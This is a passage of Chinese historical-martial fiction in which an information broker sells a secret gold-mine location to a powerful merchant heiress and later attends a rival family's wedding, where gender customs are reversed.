秦千千忍不住啧啧称奇，真是可惜了王小姐这幅楚楚可人的样貌，谁成想顶着柔弱脸庞的人，就是三东家中，势力最大的王家话事人呢？
而且王小姐的才能，在秦千千眼中，仅次于自己主人。就是这穿金戴银，极尽奢靡的习惯，秦千千有点难以接受。她不再废话，直接掏出袖口中的礼物，递给了王予月。
果然，王予月嫌弃的把银钗随手扔在桌子上。
“千千，我说你能不能有点出息，你经手那么大的生意，摸这东西你是真不怕脏了咱们的手。”
35. 密谈大事
“王小姐，我可承不起你这句咱！我那些生意我只是经手，就这给你买的这簪子，可是花了我半个月的奉银呢。”
王予月认真端详起手中的锦禾，似乎没有认真听秦千千说话。可当秦千千话音刚落，她就无奈地看向秦千千。
“行行行，我这都忙忘了规矩！在老板这里，钱财乃是身外之物，不能念叨的。”
秦千千心中有苦说不出，她要是有王小姐这么有钱，她就直接放心在家颐养天年了，怎么还愿意干这种冒着巨大风险的事情。
她左右摆弄两翻，就把东西推回秦千千眼前。若不是兹事体大，她早就不屑于破解这什么暗语了。可眼前又是清风酒楼的老板，饶是她脾气再大，现在也发作不出来。
“不过我这都花了百两黄金，还买不出一个具体的消息吗？”眼前王小姐耐心告罄，秦千千也就不再拐弯抹角了。
“小姐应该清楚，这种事情传出去，是要杀头的。所以，你能确保这里都是安全的吗？我是说，会不会有人借机埋伏。”
王予月嗤笑一声，这还是对她的不信任啊。在别的地方她不放心正常，可来了这枫林镇，这可是她们家的地盘。再者，哪个想死的来秋风阁探察？
“千千，你不是忘了吧？我这里固若金汤，光经营这个就耗费了我多少心血。不然我能请你来这里，聊东西吗？”
秦千千赶忙点头认错，这人还开不了玩笑了真的是。她指着绣的栩栩如生的那枝桂花，开始一本正经地跟她分析起来。
“金桂飘香，金是你求的东西，而桂就是你想找的地方。”
自从王予月接手王家事务以来，她可谓是雄心壮志，胆子也是前无古人的大。在她的运作下，王家涉猎了各个行业，丝织布匹、茶叶首饰、打铁铸造等等等等。
源源不断的财宝流入王家，而聪颖过人的她，不满足于此。于是，很早她就谋划了一项事业，当初也是花重金请姜千秋出谋划策。而现在，整件事情已经成功了一半。
王予月花了九年时间，把枫林镇变成了一座孤岛，一座听命于三东家的孤岛。接下来，就是计划的后半部分。
“枫林镇以南三十里，那里有个西风沟。顺着沟寻找，你就能找到唯一一株金桂，在下方开凿，一定能找到金子的。”
秦千千表情严肃，声音低沉。往往她露出这幅样貌，就是在交易一些很重要的情报。而王小姐要买的情报，她不放心交给任何人。私自开矿掘金，这可是死罪！
这也是就是王予月费尽心机，把枫林镇掌控在手中的原因。她必须消除一切顾虑，才能专心做这项事业。听到这里，她双眼炯炯有神，秦千千看得出来，她高兴坏了。
而这个情报，也是千金断断买不来的。只不过，在这项生意上，秦千千决定不贪。原本王小姐允诺她，事成之后，每年产量的一成，赠与清风酒楼。
这事儿却被秦千千婉拒了。
“王小姐，那这项合作，我们就算是结束了。另一项解决办法，也在这袋子上面。我这是里面的东西贵，袋子便宜。你到时候调换一下，用三里之外的陶泥，包裹住那东西，而后该铸造的铸造，该在暗处流通的就流通。”
那山中金矿的含量不大，满打满算，也只够她们开采两年。这些事情，王予月都很清楚。她满意地点点头，在清风酒楼花的钱，那是真的值当。
“我们这么多年的交情，能不能容许我问你一句话？”
难得看到傲气的不可一世的人，如此婉转的说话，秦千千点了点头。王予月用拇指轻轻拨动着食指上，一枚镂空镶着彩宝的戒指，目光考究地看着她。
“你们守着这万金的消息，怎么不自己做这种事情？”
秦千千就知道她会这么问，她无奈地笑笑，这算是主人的规矩。她们从不干风险极大的事情，在酒楼中的消息，沾官贵三倍。
她们就是不愿意跟官家打交道。就连婉拒那一成收入的事情，也是出于这种考量。
虽然这计划天衣无缝，但万一中途出一些纰漏，这什么三东家用命去赔偿，也跟清风酒楼没有任何关系。她们在这种事情上，宁愿少赚，也不愿冒险。
“王小姐真是说笑了，我就外出给你送一趟这个消息，这一路走的都是跌宕起伏的。光外面我那些随从朋友，哪个不是新伤添旧伤的。所以，我就不是谋大事的人，这种事情，还得你们这种人做。”
秦千千一套话说的是滴水不漏的，说罢，她还顺手拿起桌上的银钗：“既然你看不上，那就给我吧。”
“……”王予月略带嫌弃地摇摇头，她还是那个样子，真真的一毛不拔。“对了，之前留你给我打点事情的钱，还有吗？没有的话，我再送钱过去。”
说起这个，秦千千就忍不住想笑。王老板心思机敏，她知道树大招风，因此直接在她们清风酒楼，签了个长期合作。
她们负责在酒楼中散播，王小姐对一人爱而不得的前尘往事。而只要有人来买王小姐的消息，王小姐会用同等的钱补给秦千千，等于给了她一笔造谣费。
此举疑惑了很多人，最起码除了三东家剩下两家的主家，以及秦千千外，谁都不知道，明面上王家主事的王老爷，其实早就被架空，只是个靶子了。
江湖上人人感叹，铁血王主家，生了个懦弱无能的女儿。与此同时，也有很多心怀不轨的人，想要攻略王小姐，到王家分杯羹。
而那个让王小姐爱而不得的侠客，秦千千是以桑风雪为原型捏造的。那没办法，她借鉴别的人，迟早会被江湖上的人发现，那还不如直接嚯嚯自己人。
这就是为什么，桑风雪不愿意来这里。虽然她和王小姐清清白白，可她就是觉得心里别扭。
“这暂时不用。说到这里，王小姐，桑姐姐跟我一起来了，你们要见一面吗？”秦千千一脸坏笑，作为始作俑者的她，一点都没有愧疚之心。
君子有容乃大。王予月一向觉得这事儿没什么，毕竟她干得出来找人抹黑自己的事情，那也就不会在乎这种细枝末节的有的没的。<
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“我可以，就是你桑姐姐，怕是不自在吧？她们这种人，天高海阔自由惯了，你就别逼她了。不然，我看谁还跟你随行保护你。”
守着满桌饭菜的桑风雪，坐立不安地等着，她生怕下一个推门而入的是王小姐。好在突然闯入的是秦千千，她猛地推门进来，就一副我就知道的样子。
桑风雪被吓一跳，可不是什么常见的事情。
察觉到她就是故意的，桑风雪皱眉瞪她：“你怎么还能串门啊！”语气中的不耐烦，秦千千就当没有听出来。
她看着满桌子的饭菜，两眼放光。
“这人区别对待啊，给心上人上这么多菜，怎么我那个屋里什么都没有！”说着，她拿起筷子就要吃菜，桑风雪却捏住了她脸颊肉。
“再胡说一句，我把你嘴撕烂啊！”
这话虽然是玩笑话，可她是真下死手啊！秦千千疼的叫出声，立马说自己错了。其他房间中的人听到惨叫，也顾不得什么规矩，都赶忙循声赶了过来。
桃花花离得最近，她跑进来丝毫没有关注被“施暴”的秦千千，她的眼中看着那丰盛大餐，忍不住赞叹：“哇！我的房间里没有饭哎！”
下一个到场的饭桶自然也要感叹，王老怪在门外就被吃食勾走了注意力，进门的时候差点被门槛绊倒。
白邵禾进屋的时候，桑风雪已经松开手了，因此他只看到秦千千红肿的脸颊。
“这是怎么回事儿？”他一脸关切地询问，秦千千看了一眼脸色黢黑的桑风雪，笑着说没事儿。
“咱们人都到期了吧？哎！晏信没在？”秦千千不由得翻了个白眼，这人真的是蠢啊，他还真在屋里老老实实等王小姐呢。于是她打发元德去叫他，可桑风雪非要自告奋勇她去。
秦千千过去把她按在主座，这可是给她摆的宴席，她想跑也跑不掉。元德赶忙去找晏信，人都齐了后，大家才开始动筷子。
也就是这时，白邵禾发现，这屋中的碗筷，一双不多，一双不少。
王予月从后门离开，上马车后，她掀开轿帘跟邀月叮嘱：“千千吩咐的事情，现在可以行动了。”
第二天众人还在昏睡时，枫林镇人人惊慌，好像发生了天大的事情。而在各种小巷子里，很多人都三五扎堆的在谈论事情。
“听说了吗？李家的大儿子李思源，昨天突然病逝了！”
“谁跟你说的是病逝，那不就是马上疯嘛。”
“这都敢说，你们不要命了！”
这也就是在王家的地盘上，大家还敢讨论讨论。李家的那两分街道，都是门窗紧闭，萧条的很。
至于张家的巷口今天可是热闹得很，张家女儿张沛儿，今日娶夫婿，从城门开始就张灯结彩的，气派的很。
白邵禾作息十分规律，因此他起床时，还没有人起来。哪怕是平时异常机警的桑风雪，也在昨日被秦千千灌醉了。
当他得知昨夜枫林镇乱成一锅粥的时候，他忍不住期待，看来又有好戏能看了。
36. 蚌农
秦千千的作息还算是规律，而且因为酒楼的事务，她是滴酒不沾的。喝酒误事，要杜绝这种可能。
因此，她是三个姑娘中醒的最早的。
那两位还睡得沉，于是她蹑手蹑脚地出门。刚关上门，就看到了提着长袍边，上楼的白邵禾。
看着秦千千睡眼惺忪的样子，白邵禾转念又想起镇中的乱事，与其装不知道，倒不如直接跟她坦白。
“千千，镇子上出大事儿了。不过王老怪他们还没起，要不我们先出去看看吧？”
在秦千千看来，有热闹不凑，这就是王八蛋啊！于是她跟白邵禾随便在楼下对付两口早饭，直接结伴外出了。
不消片刻，秦千千就找了个临街的茶摊，当然是位于风平浪静的王家地盘上。只不过这个地方特殊，毗邻另外两个东家的巷口。
秦千千自从坐在这里，就眼观六路耳听八方的。还给她用一壶茶收买了个过路的人，他坐在这里给她们讲昨夜发生的情况。
子时刚过，李家的家仆就哭着从当地最大的青楼跑了出来，边跑边哭，嘴上还喊着二主子死了。虽然是深夜，但那条街晚上都很繁华，因此这事儿就传开了。
“奇了怪了，他主子死了，他就敢这么大张旗鼓的宣传出来啊？”秦千千用拇指挠了挠头，十分不解。
像这种氏族，都是家风森严的，什么该说什么不该说，这都是有严格教条的。而主子死去这种事情，肯定不是能在大庭广众之下叫嚷的吧？
那黑瘦的男人擦了一把嘴角的茶水，往前探着身体，故作玄虚地说：
“你们外地来的，不知道李家大儿子和二儿子，争夺权柄多久了，简直是斗到你死我活的地步。听说那仆人，就是大儿子送给二主子的。”
不知为什么，秦千千的脑海中冒出一句话：世子之争理应如此。
她无奈地叹了口气：“这世道都这样，大家都说什么天家无真情，可但凡有利可图的事情，都要谨防身边人捅刀子啊。”
白邵禾低垂的目光暗了暗，没有谁比他对此有更深的认知了。什么兄友弟恭，他自小就知道那是镜花水月，不可奢求。
那个男人走后，秦千千却提议再坐一会儿，白邵禾看出她心中藏着事儿，但他也不主动逼她。
欲擒故纵，才是最高端的手段。
秦千千眼睛滴溜溜地转，她在盘算自己知道的全部消息。
之前的消息明明说李家大儿子李思清，和二弟李思源虽然不是一母同胞，但情深似海。而且月初二弟李思源生病，李思清还不远千里，远赴京城找名医给弟弟医治。
现在仅仅过了半月，怎么就到了你死我活的田地了呢？蹊跷，这实在太蹊跷了。
“邵禾兄，你说人可能会跟十几年的至亲，在很短的时间内反目成仇吗？”
这话算是无意间戳了白邵禾的心窝，他眼神阴翳地讲起五王爷的故事。反正这种人尽皆知的事情，白邵禾笃定秦千千一定知道，那就不如让自己拿来再做个顺水人情。
穆轩岚大穆元基三岁，穆轩岚出身尊贵，是皇后唯一的孩子。而穆元基则是良妃所生，名号为良，她却是心狠手辣之人。因此，良妃并不受皇帝待见。
穆元基自小就有些偏执阴暗，在他十二岁那年，不知从哪里听到立储的风声。而他清楚，不管那种结局，储君都不会是他。而是那个自小坐拥所有的哥哥——穆轩岚。
于是，他胆大包天的给穆轩岚的衣袖撒了毒。
穆轩岚打小就知道这个弟弟孱弱，因此他尽自己所能保护这个弟弟。可谁知穆元基就借着假装跌倒的动作，把剧毒撒在了穆轩岚的袖子上。
“这故事我不知道你听说过没有，反正我第一次听五王爷说这话，他脸上那种癫狂的情形，我难以忘怀……”
正是那个时候，让白邵禾深刻理解到，知人知面不知心这句话的杀伤力。秦千千察觉他的情绪不对，就赶忙晃了他胳膊一下。
“你说的这事儿我知道，那真的谁都怪不了，穆元基也是处在那个地方实在没有办法了。穆轩岚对他再好，撑死了也是在他称帝后，给他封个王罢了。”
这话倒是让白邵禾疑惑不解了，他紧紧盯着秦千千的脸，仿佛要从她脸上找到合理解释一样。
秦千千看明白他的疑问，于是只得跟他解释：“或许穆轩岚的确是对他足够好，可他和别人相处的时间呢？他母妃跟人相处会遇到磋磨吗？这些都有可能成为他，不得不向上怕的初衷吧？”
白邵禾心中一惊，原来自己一直在慨他人之康吗？
“而且人生无常，都说穆轩岚是储君，那蠢货不也砸了传国玉玺，被流放了吗？谁敢说，这不是别的王爷一生难有的际遇啊。”
呵！白邵禾心中嗤笑一番，他现在倒是不想什么兄弟反目了。只是单纯觉得不爽！他自小就被教导，这天下就是他的天下，他不许任何人染指。
秦千千看着他义愤填膺的样子，仿佛谁抢了他的天下似的。于是她不由得笑出声：“哎，你不会把自己带入皇子了吧？可千万别啊，咱们这快意江湖多好。相信我，若是你真的做了皇帝，一定会天天回想现在的日子的。”
刚出发的那几天，白邵禾听到这种话，还会怀疑她是不是在暗示自己，或者在给自己下套。可现在他听到这种话，已经可以坦然面对了。
“是啊，我这就是庸人自扰之。要是达到你这个境界，在哪里都会逍遥快活的吧？”
“你知道我有个，死之前一定要做的事情吗？”
不知为何她提起这个事情，白邵禾心里一紧，他如鲠在喉。沉默良久才疑惑地摇摇头，秦千千语气轻飘飘地讲述那件事儿。
既让人觉得她在胡说，又让人不得不相信那就是她的肺腑之言。这或许就是秦千千，话语的魅力吧。
一路同行，白邵禾不得不承认，这个人很会讲故事。若不是怀有目的接近她，他倒是很想一掷千金，让她给自己讲一个又一个引人入胜的故事。
“我这里面需要记太多的事情，有时候，感觉我的头快爆炸了。可为了这些事情，我得时刻保持清醒。”
秦千千点了点太阳穴，一脸无奈。白邵禾甚至从中看出一丝厌恶……察觉到这点的时候，白邵禾觉得自己一定是眼花了。秦千千明明那么喜欢这件事儿，怎么会不喜欢？
“我们清风酒可是天下闻名的好酒啊！可我一口都没有尝过。所以我就想在我死之前，不管我死在谁的刀下，他只要让我喝一坛子清风酒就好。”
说到这
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里，秦千千目光灼灼地盯着手中的茶盏，仿佛那就是她死前的最后一杯酒。
那神情看得白邵禾莫名心慌，他一把抓住秦千千的手腕，告诉她别想那么多，不会有那么一天的。
“不，其实我一直在等那一天。或许，李思源也是厌倦了尔虞我诈，一直在等待解脱罢了。”
秦千千无奈地笑了一声，别说酒，最后一口茶，白邵禾都按住她的胳膊不给喝啊……
“所以白公子，身处尘世间，无处能自由。众人都羡慕我见多识广，我还羡慕别人心思单纯、只知其一呢。”
白邵禾眉头微蹙，怎么听着这话不像是夸人的呢？秦千千噗嗤一声笑了出来，她随口说说，这人怎么看起来当真了呢。
“走吧，都这个时辰了，桑姐姐她们一定起来了。而且这种事情，我们等着看调查结果就好，这里面水太深，咱们是没办法查的。”
接下来的两天，白邵禾以及他手下的暗卫算是发现，秦千千说她管不了不管了，她就是真的一点都不管了。
这两日，她就纯纯扮演一个，好吃懒做到处玩乐的过路人。
就连桑风雪，都忍不住问她到底要干什么。来这里两天，拉着她逛了三趟开蚌场了。桑风雪原本以为这一路危险重重，才答应来保护她的。
谁知道也没她费什么事儿，现在倒是全员进入混吃等死阶段。有人乐此不疲，就有人嗤之以鼻。
王老怪和桑风雪就是两个极端。
不过桑风雪忍到现在才发脾气，已经是超乎秦千千的预期了。她等的就是这一天，于是她将自己的计划和盘托出。
“桑姐姐，枫林镇的事情，不是我们一句话彻查就能查清楚的。而且，我此举也是要试，若是这次再有人后脚就来清算枫林镇，那我们中，就真的出了细作。”
得知这个消息的时候，白邵禾气得脸色煞白。这种都要自立为国的地方，他怎么可能不管呢？但为了不暴露，就只能先忍下来了。
上次明明是秘密羁押温文瑞，却不知道怎么还是被秦千千知道了……看来这次，是一点行动都不能采取了。
众人都知道秦千千最近沉迷采蚌，她不仅看人去采，甚至自己还想去采。因此在她提出去几里外的蚌场时，没有一个人对此表示不解的。
白邵禾前脚表示不去，后脚就让元德安排好人暗中跟踪。跟着跟着，就发现秦千千在跟蚌农学养殖的经验。她甚至还想搞个自己的蚌场……
偌大的蚌场一览无遗，流水的声音哗哗作响。秦千千仗着四周全是自己人，跟踪自己的人不敢过来，就胆大地跟平娘聊起了跌仙泉的泉水问题。
“平娘，跌仙泉我不方便去看，所以最近是出了什么事情吗？”
“掌柜的，七十口泉眼，有三口泉眼有些浑浊。我们不清楚，是什么原因导致的。而且不清楚，这个会不会让别的泉水再变浑浊。”
秦千千盯着手中的彩蚌，点了下头。“知道了，原因我去排查，你们暂时多储存些净泉水吧。”
在几方人监视的眼皮子底下，秦千千明晃晃地聊着这事儿。若不是跟自己人接上头，她也不敢如此胆大妄为。也就是跟自己通气后，她才发现，居然有五股势力盯着自己。
可笑可叹！
37. 张家娶夫婿
寅时二刻，消息就已经传进了王家大院，只不过邀约不敢吵醒主人。愣是等到辰时小姐自然醒，她才汇报了这事儿。
“还有这种事儿？”王予月脸上说不上惊讶，依旧是平常那副淡如水的样子。
“今日是不是张沛儿大婚？这李思源死也不知道找个好日子死。咱们待会儿直接去张家，双喜临门的事情，我们要去讨杯喜酒喝的。”
王予月这人向来说一不二，大到各种决策，小到穿戴配饰，完全都要符合她的心愿的。于是邀约在一旁没有动作，等着小姐的下一步指示。
“前几日我不是做了个浅紫浮光锦的衣服吗？拿来穿那个，发簪什么的，随便配配就好。对了，贺礼早就准备好了吧？”
邀月赶忙点头：“是的小姐，两份贺礼早早就准备停当了。我想着，等我们过去的时候再带过去吧。毕竟这些礼物，得主子亲自解释的吧？”
王予月就是这个意思，她丝毫不掩饰脸上的洋洋得意，今天，可是个看戏的好机会。
“派人去叫秦千千她们，估摸这个点，她也该从蚌场回来了。”王予月压根就没想隐瞒，自己派人跟踪秦千千这事儿。毕竟，瞒也瞒不住她。
秦千千前脚灰头土脸地到客栈，后脚就有人来找她。两个人甚至是在客栈门口碰的头，白邵禾他们都在楼上。秦千千随便找了个空座，让那跑腿的人也坐下歇歇。
“小姐，这就不用了。我就是来跟您说一声，我们家小姐邀请你们去参加张家小姐的婚宴。”
“什么时候去？”秦千千心虚地用手擦了擦脸颊，刚刚在蚌场出来，她就不小心摔了个狗吃屎。好在当时除了她，也没有别的人在场。
反正那些跟踪她的人，也不能在她眼前嘲笑她，那她权当不知道。就是这一路走回来，还没来得及去洗把脸。她心中觉得自己脸，应该是被划破了的。
“小姐说了，巳时二刻，她就派马车来接你们。”
秦千千看时间还来得及，就上楼换衣服，顺便跟剩下的人说一下这事儿。也就是这个时候，她才知道晏信一早就不见了。
白邵禾还没来得及跟线人季春霖通气，秦千千就推门进来了，没办法，他就只能让季春霖先回去。而他也确实不知道晏信，究竟去了哪里。
“早上的时候，他说要去转转，应该不会走太远吧。”
白邵禾走向桌边，跟秦千千分析。可王老怪却坐没有坐像地趴在桌子上，看着马上就要掉下去的那种。
此情此景不捣乱，简直就不是秦千千了。她伸手扳了一下王老怪的肩膀，他不设防地往后一仰，差点从凳子上掉下去。
“哎！你这丫头真的是欠揍啊！”他生气地拍了下桌子，瞪着秦千千。也不知是耍小性子，还是怎地，他突然说自己不去张家的婚宴了。
那可是宴请了人家地盘上所有人的盛宴，这老头竟然说不去了。秦千千脸上露出考究的神情，目光紧紧盯着王老怪。
元德倚在门边，经过这段时间的相处，他跟王老怪都处成了好朋友。于是元德打趣他，不去岂不是跟美酒佳肴过不去？
“你们不懂，我有事儿不能去。”
比起这些有的没的，白邵禾更想立马知道，秦千千到底在郊外干了什么。可惜他现在不能脱身去找季春霖，至少，也要等凌晨了。
等他缓过神来的时候，却发现秦千千眼神不明地看着桑风雪。那眼神像是在暗示什么，又有些戏谑。
“由不得你说了算，我说得去，你就得去。”秦千千手一挥，就把事情敲定了。而王家的排场，众人也从派来的马车中探知一二。
三骏齐驱，气派非凡。
她们一行人也就七个人，更何况晏信不在，一共只有六个人。那高头大马的轿子，着实气派。
就连见惯了大场面的白邵禾，都不由得在心中称赞，那三匹骏马，真是品相优良。对比秦千千租来的狭小逼仄、甚至一赶路就会吱呀作响的马车来说，这真的是太奢华了。
“也不知此行，会有什么有趣见闻。”白邵禾故意抛砖引玉，这婚宴异于常态的地方可太多了。
光听到迎娶夫婿这几个字的时候，白邵禾都以为自己听错了。可季春霖收集到的消息就是如此。
张家作为唯一一家女人掌权的东家，她们家培养女儿的标准可谓是非常之严格。简而言之，就是培养女儿的雄才大略、远大理想。至于家中的男丁，则是没有置喙的权利。
在这种与世俗背道而驰的教育中，传宗接代也是一个异于他人的过程。季春霖当时的话，让白邵禾久久难以忘怀。
“耻辱之至，实非大丈夫所能忍也。”
白邵禾对此很疑惑，可怎么个耻辱法，季春霖却只知皮毛。就是所谓的凤冠霞帔，都要男的去穿。而据说更为折磨的拜堂环节，季春霖他们没有收集到太多的信息。
这也就是为什么，白邵禾想要来一探究竟的原因。秦千千不吝啬于跟他们讲故事，只不过今天她却没有像平时一样，有问必答。
“各位，特别是你们三位，既然已经上了马车，那就没有回头路了。”秦千千正襟危坐地跟对面三个，白邵禾、元德和王老怪嘱咐：“去了人家府上，一切就要按照人家的规矩来。张家老太太，可不是个善茬。”
张家的老太太，也就是当家的——张婧慈，外号可是修罗阎王。
最初王家在枫林镇一手遮天，由李朗带领的李家，则是由于生意上的往来，在枫林镇给自己争了一片天。
可张婧慈就不一样了，她是活生生带着人杀出来的家业。硬生生把两权分立的枫林镇，变成了三方制衡的现在。
因此，独占六分的王家，其实没那么把李家放在眼里。这也就是为什么，哪怕是李思源死了，王予月都不放在心上。
可她不能这么对待张家。饶是张婧慈知道她家业繁忙，很多时候都是神龙见首不见尾，但张沛儿大婚，王予月还得代表王家出席。
秦千千简要跟他们分析了一下，并且隐藏起王予月主事人的身
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份，着重讲了张家的发迹史。可白邵禾的脸上，还是有一丝疑惑。
有句古话叫：卧榻之侧岂容他人鼾睡。
任何掌握权柄之人，都不会容忍眼中有一粒沙子。放在枫林镇，王家怎么会容下武德充沛的张家呢？不过他没有深问，在秦千千面前，他担心问多错多。
当轿子停下来后，白邵禾也就没空考虑这种事情了。因为一系列更让他恼火的事情，正在如潮水般涌来。
首先是下了轿子，门口就有两排侍女，她们手中端着托盘，盘中放着薄如蝉翼的方纱，正在招待前来的宾客。
白邵禾观察眼前的几个人后，就惊讶地发现，那些方纱居然是给男人戴的！更离谱的是，男人不能触碰那方纱，必须要随行的女人帮他们佩戴……
邀月在大门外守着，正好看到秦千千，她就过来给秦千千她们讲规矩。
“前几日各位都没见到我家主人，主人说甚是遗憾，所以今日正好借这个良辰吉时，跟各位见上一见。”
邀月依旧是不卑不亢的样子，看到秦千千点头应允后，邀月将她们请到一边，这才讲起张府的规矩。
“那面纱是男子用来遮面的，为防冲撞了张府中的女眷。而且在观礼以及在府中的时候，是不能摘掉的。”
白邵禾微微皱眉，神情有些许不悦，他堂堂七尺男儿，怎能如此被折辱？元德更是嫌弃之情溢于言表，打死他，他都不会屈服的。
反而是一开始不打算来的王老怪开了心：“我都说了吧，我不来，你们非要我来。白公子、元德，咱们三个趁早离开吧。”
秦千千双手双手环胸，一脸冷峻地看着他们：“来都来了，刚刚我在车上也跟你们说了，所以你们一定得去。”
白邵禾不想惹她生气，只能硬着头皮答应了这事儿。他一松口，元德自然也得跟着倒戈。而王老怪，他的意见没有人会参考。
“对了，那你们三个是一男一女凑成一对儿，还是……”邀月看她们没动，就把话说明白了些：“若是你给他们带面纱，那就证明你是他们的主人，他们进了府就不能走在你前面。”
说不后悔是假的，白邵禾跟秦千千对视的那一秒，他真的在犹豫，要不要一走了之。可秦千千没有看懂他当下的踌躇，她点点头，表示那没什么大不了的。
桑风雪是不可能给任何人戴面纱的，而桃花花又太小，她十分拒绝。因此，秦千千只好能者多劳，直接给三个人都戴上了浅绿色的面纱。
“嘿，邀月，这个绿色是什么意思？”秦千千一边给白邵禾系面纱，一边转头问邀月。
大婚不应该用红色的面纱吗？哪怕要避开新郎子的大红喜袍，那也没必要选个浅绿色的吧？
“不知小姐有没有听说过，有些地方的婚嫁风俗，是红男绿女。这纱巾的颜色，取自于那个传统。”
秦千千和白邵禾都懂了，这张家是跟所有的世俗，全部反着来的。在门口耽搁那么久，她们终于在邀月的带领下，进了张家大门。
38. 新婚赠礼
虽然不想这么想，但当白邵禾看着移步一景、雕梁画栋的张府时，还是在心中感叹，这张家的宅邸布局的确是讲究。别的不说，甚至比自己五弟的宅邸还要奢靡。
想到五弟，他的心中不免又泛起一阵无奈。
前面的邀月在前面带路，穿过左拐右拐的长廊，直接去了后院。剩下的宾客都是在前院驻足，只有她们被请去了后院。
这一定是去找那个王小姐的，白邵禾在心中下了定论。没一会儿，邀月停在一扇门前，低头敲了敲门。
“小姐，人已经带到了。”邀月刚说完话，屋中就传来了回应。“让她们进来吧。”
门被从里打开，白邵禾因为身形优越，直接越过前面的众人，看到了高居主座上的女人。
那人身着艳丽异常的绫缎，头上恰到好处的点缀着几支朱钗，而脸上淡然又蔑视一切的表情。
白邵禾几乎是立马判断出来，这人绝对是有狠厉手段的人物。若是谁说她仅仅是个嚣张跋扈的小姐，那可真是大错特错了。
那种眼神，是心性单纯的人装不出来的。就拿秦千千来说，她是学不出来那种目空一切的眼神的。
不巧的是，季春霖就是那么形容王予月的：王家独女，异常跋扈，性格乖张，时不时就会为爱发疯。
不过那人似乎没有注意到几位男子，她朝秦千千勾了勾手：“老板，好久不见，快坐。”
秦千千一改往常的吊儿郎当，非常温顺的坐在屋子正中间的圆桌上，她转头朝剩下的人挥手，却被邀月阻拦住了。
“秦小姐，此举不妥。在这屋中让他们坐着便罢了。可这里是张家，若是被别人看去，他们如此自由散漫，指不定他们要被鞭笞的。”
这下不止秦千千惊呆了，桃花花都坐一半了，愣是给她吓得站了起来。白邵禾等一行人，更别说了，一个个脸色都难看的要命。
王予月优雅地起身，走到桃花花身后，抬手搭在桃花花肩膀上按了按。
“放心，这里是不会为难女人的。所以，你就坐你的吧。”
桃花花连忙点头，老实巴交地坐了下去。桑风雪见状，也就挨着秦千千落座。难得见到桃花花如此谨小慎微，秦千千忍不住笑出声。
“王小姐，这里也没有外人，就让我朋友们先落座吧。你再恐吓他们一会儿，他们撂挑子走人了可怎么办？”
“说起这事儿，你认不认识一个叫晏信的人？你肯定认识。”王予月一边绕着桌子行走，一边跟秦千千说话，走到她身后时，王予月停住了脚。
王老怪看她不再刁难他们，就自顾自地落了座，白邵禾与元德都接连坐了下来。可听到晏信的名字时，大家说不震惊是假的。
秦千千舔了下嘴唇，这才转头问她发生了什么事情。可王予月却不再回答，而是大手一挥，让邀月跟她们说。
“早上有人想借由您那张枫叶信笺，闯我们秋风阁，被我们的人抓了。因此，今天请秦小姐来，就是说这档子事儿的。”
元德都听出话里的一丝怨怼，可秦千千愣是没有察觉到，她恍然大悟地点头。
“原来是这样，那我还得谢谢晏公子，不然还真见不到王小姐的面呢。”
或许是秦千千太语出惊人，就连王予月的脸上，都闪过一丝惊讶。白邵禾放在桌下的手，反复揉捻这膝盖上的布料。他真是想不明白，这秦千千平时是怎么做生意的？
怎么做到时而体贴入微，时而又完全看不懂人的脸色的。
“你倒是心大。”王予月无情地吐槽她，不过立马又说起了别的事情。
“请你来，是不想让你错过今天的好戏。我们枫林镇无聊，也就逢张家大婚的时候，才有热闹可以看。请老板来，自然是想请你把今天的事情详细记录，日后散播到江湖上的。”
在她朱唇微启，聊着自己目的的时候，白邵禾发现她眼神中全是戏谑。难不成，今天她要大闹婚宴？可眼下他能做的，只有耐住性子听，反正是来看戏的。
秦千千一脸为难，强龙还不压地头蛇呢，因此怎么能拿张家的家室，去江湖上大肆宣扬？于是她只能开口劝阻。
“王小姐，我们虽然有散播消息的行当。但不是什么钱，我们都敢赚的。”
爱财如命，但也得审时度势。白邵禾觉得她这个回答没错，可谁知王予月脸色却不耐烦起来。
“在我看来，之所以有那么多说法，那还是给的钱不够多，我给你千两白银。你告诉我，这事儿能做还是不能做。”
秦千千瞳孔微缩，整个人都往后仰了一些。白邵禾看到她这表情，就知道她肯定会接下这笔生意的。秦千千生怕她反悔似的，立刻点头答应了。
这边安排妥帖后，王予月就带着她新聘的“史官”，大摇大摆的去了新房所在的小阁楼。
并且得意洋洋的嘱咐秦千千，接下来的事情，要看仔细了。将来在江湖上传扬，一句话都不准少。
秦千千让她放心，定当照办，甚至还推荐起了酒楼别的服务。
“王小姐若是需要，我能找人画出话本子，也能售卖出去的嘛。”
王小姐看着兴致不大，秦千千也就再没往下说。后面跟着的桃花花悄悄跟桑风雪吐槽，说秦千千就是想给京都一位落魄书生介绍生意。
“为什么给他介绍生意？”
“还能为什么？那书生告诉她，若是改日他状元及第，他是要娶秦千千的。只不过现在连吃的都没有，还谈这些大话做什么。”
走在后面的白邵禾微微摇头，又是这种落魄书生寄情良家女子的桥段。秦千千总是会在这种事情上犯傻，唉……
一行人浩浩荡荡地过去，到了闻风阁，王予月直接一掌推开了门。那动作之粗鲁，倒是非常符合她嚣张跋扈的传说中的性格。
屋中的张沛儿正在正衣冠，听到异响后她倏然转头，看到来人后，她无奈地叹了口气。
秦千千看着张沛儿束着高马尾，乌黑发亮的头发随着转头的动作，微微飘起。秦千千神情恍惚了一下，主人也喜欢束起长发，
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就像眼前的那人一样……
“月儿，你是越发没有规矩了。”张沛儿话中有些责备，但王予月却丝毫没有放在心上，她提起裙摆快步走了过去。一旁的秦千千看得清楚，她甚至是嘟着嘴过去的。
“沛姐姐，你大婚我不高兴，以后我就不能肆无忌惮的来找你了，我发发脾气怎么了？”
她语气中的嗔怪，让人看着觉得很不对劲儿。这似乎并不像是，妹妹对姐姐的依恋不舍，更像是……
秦千千不敢妄下定论，她决定等大婚结束后，再跟王予月详谈这些事情。白邵禾眉头微蹙，这女人变脸倒是快，他心中也隐隐生出一丝异样。
“行，日后我自然还是你姐姐，你有什么不满意的呢？对了月儿，今日你给我准备了什么贺礼呢？”
张沛儿话虽然没什么问题，可面对亲昵地缠住她胳膊的王予月，她也是抬手轻抚那人的脸颊。
秦千千现在肠子都悔青了，她应该也找块儿面纱戴上的。她眼神尴尬地四处乱瞟，就是不敢看眼前的俩人再有什么动作。
桃花花跟人说小话的时候，就会悄悄拉着那人的衣袖。当下她突然有了疑问，就一如往常拉住了秦千千的衣袖。秦千千猛地抽出自己的手，像是被吓到了。
王予月表情愠怒地瞪着她，对上她生气的眼神后，秦千千觉得自己得给她一个合理的解释了。
